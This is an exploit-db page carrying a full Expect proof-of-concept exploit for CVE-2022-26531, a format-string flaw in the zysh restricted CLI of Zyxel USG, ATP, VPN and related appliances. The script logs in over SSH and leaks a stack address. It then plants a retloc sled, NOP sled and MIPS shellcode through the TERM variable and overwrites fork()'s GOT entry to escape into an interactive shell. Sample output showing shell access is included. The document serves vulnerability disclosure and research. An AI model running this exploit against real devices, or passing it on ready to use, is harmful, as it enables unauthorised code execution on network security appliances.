Zyxel zysh – Format string

  • 作者: Marco Ivaldi
    日期: 2024-02-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51786/
  • #!/usr/bin/expect -f
    
    #
    # raptor_zysh_fhtagn.exp - zysh format string PoC exploit
    # Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
    #
    # "We live on a placid island of ignorance in the midst of black seas of
    # infinity, and it was not meant that we should voyage far."
    #-- H. P. Lovecraft, The Call of Cthulhu
    #
    # "Multiple improper input validation flaws were identified in some CLI
    # commands of Zyxel USG/ZyWALL series firmware versions 4.09 through 4.71,
    # USG FLEX series firmware versions 4.50 through 5.21, ATP series firmware
    # versions 4.32 through 5.21, VPN series firmware versions 4.30 through
    # 5.21, NSG series firmware versions 1.00 through 1.33 Patch 4, NXC2500
    # firmware version 6.10(AAIG.3) and earlier versions, NAP203 firmware
    # version 6.25(ABFA.7) and earlier versions, NWA50AX firmware version
    # 6.25(ABYW.5) and earlier versions, WAC500 firmware version 6.30(ABVS.2)
    # and earlier versions, and WAX510D firmware version 6.30(ABTF.2) and
    # earlier versions, that could allow a local authenticated attacker to
    # cause a buffer overflow or a system crash via a crafted payload."
    #-- CVE-2022-26531
    #
    # The zysh binary is a restricted shell that implements the command-line
    # interface (CLI) on multiple Zyxel products. This proof-of-concept exploit
    # demonstrates how to leverage the format string bugs I have identified in
    # the "extension" argument of some zysh commands, to execute arbitrary code
    # and escape the restricted shell environment.
    #
    # - This exploit targets the "ping" zysh command.
    # - It overwrites the .got entry of fork() with the shellcode address.
    # - The shellcode address is calculated based on a leaked stack address.
    # - Hardcoded offsets and values might need some tweaking, see comments.
    # - Automation/weaponization for other targets is left as an exercise.
    #
    # For additional details on my bug hunting journey and on the
    # vulnerabilities themselves, you can refer to the official advisory:
    # https://github.com/0xdea/advisories/blob/master/HNS-2022-02-zyxel-zysh.txt
    #
    # Usage:
    # raptor@blumenkraft ~ % ./raptor_zysh_fhtagn.exp <REDACTED> admin password
    # raptor_zysh_fhtagn.exp - zysh format string PoC exploit
    # Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>
    # 
    # Leaked stack address:0x7fe97170
    # Shellcode address: 0x7fe9de40
    # Base string length:46
    # Hostile format string: %.18u%1801$n%.169u%1801$hn%.150u%1801$hhn%.95u%1802$hhn
    # 
    # *** enjoy your shell! ***
    # 
    # sh-5.1$ uname -snrmp
    # Linux USG20-VPN 3.10.87-rt80-Cavium-Octeon mips64 Cavium Octeon III V0.2 FPU V0.0
    # sh-5.1$ id
    # uid=10007(admin) gid=10000(operator) groups=10000(operator)
    #
    # Tested on:
    # Zyxel USG20-VPN with Firmware 5.10 
    # [other appliances/versions are also likely vulnerable]
    #
    
    # change string encoding to 8-bit ASCII to avoid annoying conversion to UTF-8
    encoding system iso8859-1
    
    # hostile format string to leak stack address via direct parameter access
    set offset1 77
    set leak [format "AAAA.0x%%%d\$x" $offset1]
    
    # offsets to reach addresses in retloc sled via direct parameter access
    set offset2 1801
    set offset3 [expr $offset2 + 1]
    
    # difference between leaked stack address and shellcode address
    set diff 27856
    
    # retloc sled
    # $ mips64-linux-readelf -a zysh | grep JUMP | grep fork
    # 112dd5580000967f R_MIPS_JUMP_SLOT00000000 fork@GLIBC_2.0
    # ^^^^^^^^ << this is the address we need to encode: [112dd558][112dd558][112dd558+2][112dd558+2]
    set retloc [string repeat "\x11\x2d\xd5\x58\x11\x2d\xd5\x58\x11\x2d\xd5\x5a\x11\x2d\xd5\x5a" 1024]
    
    # nop sled
    # nop-equivalent instruction: xor $t0, $t0, $t0
    set nops [string repeat "\x01\x8c\x60\x26" 64]
    
    # shellcode
    # https://github.com/0xdea/shellcode/blob/main/MIPS/mips_n32_msb_linux_revsh.c
    set sc "\x3c\x0c\x2f\x62\x25\x8c\x69\x6e\xaf\xac\xff\xec\x3c\x0c\x2f\x73\x25\x8c\x68\x68\xaf\xac\xff\xf0\xa3\xa0\xff\xf3\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x28\x06\xff\xff\x24\x02\x17\xa9\x01\x01\x01\x0c"
    
    # padding to align payload in memory (might need adjusting)
    set padding "AAA"
    
    # print header
    send_user "raptor_zysh_fhtagn.exp - zysh format string PoC exploit\n"
    send_user "Copyright (c) 2022 Marco Ivaldi <raptor@0xdeadbeef.info>\n\n"
    
    # check command line
    if { [llength $argv] != 3} {
    	send_error "usage: ./raptor_zysh_fhtagn.exp <host> <user> <pass>\n"
    	exit 1
    }
    
    # get SSH connection parameters
    set port "22"
    set host [lindex $argv 0]
    set user [lindex $argv 1]
    set pass [lindex $argv 2]
    
    # inject payload via the TERM environment variable
    set env(TERM) $retloc$nops$sc$padding
    
    # connect to target via SSH
    log_user 0
    spawn -noecho ssh -q -o StrictHostKeyChecking=no -p $port $host -l $user
    expect {
    	-nocase "password*" {
    		send "$pass\r"
    	}
    	default {
    		send_error "error: could not connect to ssh\n"
    		exit 1
    	}
    }
    
    # leak stack address
    expect {
    	"Router? $" {
    		send "ping 127.0.0.1 extension $leak\r"
    	}
    	default {
    		send_error "error: could not access zysh prompt\n"
    		exit 1
    	}
    }
    expect {
    	-re "ping: unknown host AAAA\.(0x.*)\r\n" {
    	}
    	default {
    		send_error "error: could not leak stack address\n"
    		exit 1
    	}
    }
    set leaked $expect_out(1,string)
    send_user "Leaked stack address:\t$leaked\n"
    
    # calculate shellcode address
    set retval [expr $leaked + $diff]
    set retval [format 0x%x $retval]
    send_user "Shellcode address:\t$retval\n"
    
    # extract each byte of shellcode address
    set b1 [expr ($retval & 0xff000000) >> 24]
    set b2 [expr ($retval & 0x00ff0000) >> 16]
    set b3 [expr ($retval & 0x0000ff00) >> 8]
    set b4 [expr ($retval & 0x000000ff)]
    set b1 [format 0x%x $b1]
    set b2 [format 0x%x $b2]
    set b3 [format 0x%x $b3]
    set b4 [format 0x%x $b4]
    
    # calculate numeric arguments for the hostile format string
    set base [string length "/bin/zysudo.suid /bin/ping 127.0.0.1 -n -c 3"]
    send_user "Base string length:\t$base\n"
    set n1 [expr ($b4 - $base) % 0x100]
    set n2 [expr ($b2 - $b4) % 0x100]
    set n3 [expr ($b1 - $b2) % 0x100]
    set n4 [expr ($b3 - $b1) % 0x100]
    
    # check for dangerous numeric arguments below 10
    if {$n1 < 10} { incr n1 0x100 }
    if {$n2 < 10} { incr n2 0x100 }
    if {$n3 < 10} { incr n3 0x100 }
    if {$n4 < 10} { incr n4 0x100 }
    
    # craft the hostile format string
    set exploit [format "%%.%du%%$offset2\$n%%.%du%%$offset2\$hn%%.%du%%$offset2\$hhn%%.%du%%$offset3\$hhn" $n1 $n2 $n3 $n4]
    send_user "Hostile format string:\t$exploit\n\n"
    
    # uncomment to debug
    # interact +
    
    # exploit target
    set prompt "(#|\\\$) $"
    expect {
    	"Router? $" {
    		send "ping 127.0.0.1 extension $exploit\r"
    	}
    	default {
    		send_error "error: could not access zysh prompt\n"
    		exit 1
    	}
    }
    expect {
    	"Router? $" {
    		send_error "error: could not exploit target\n"
    		exit 1
    	}
    	-re $prompt {
    		send_user "*** enjoy your shell! ***\n"
    		send "\r"
    		interact
    	}
    	default {
    		send_error "error: could not exploit target\n"
    		exit 1
    	}
    }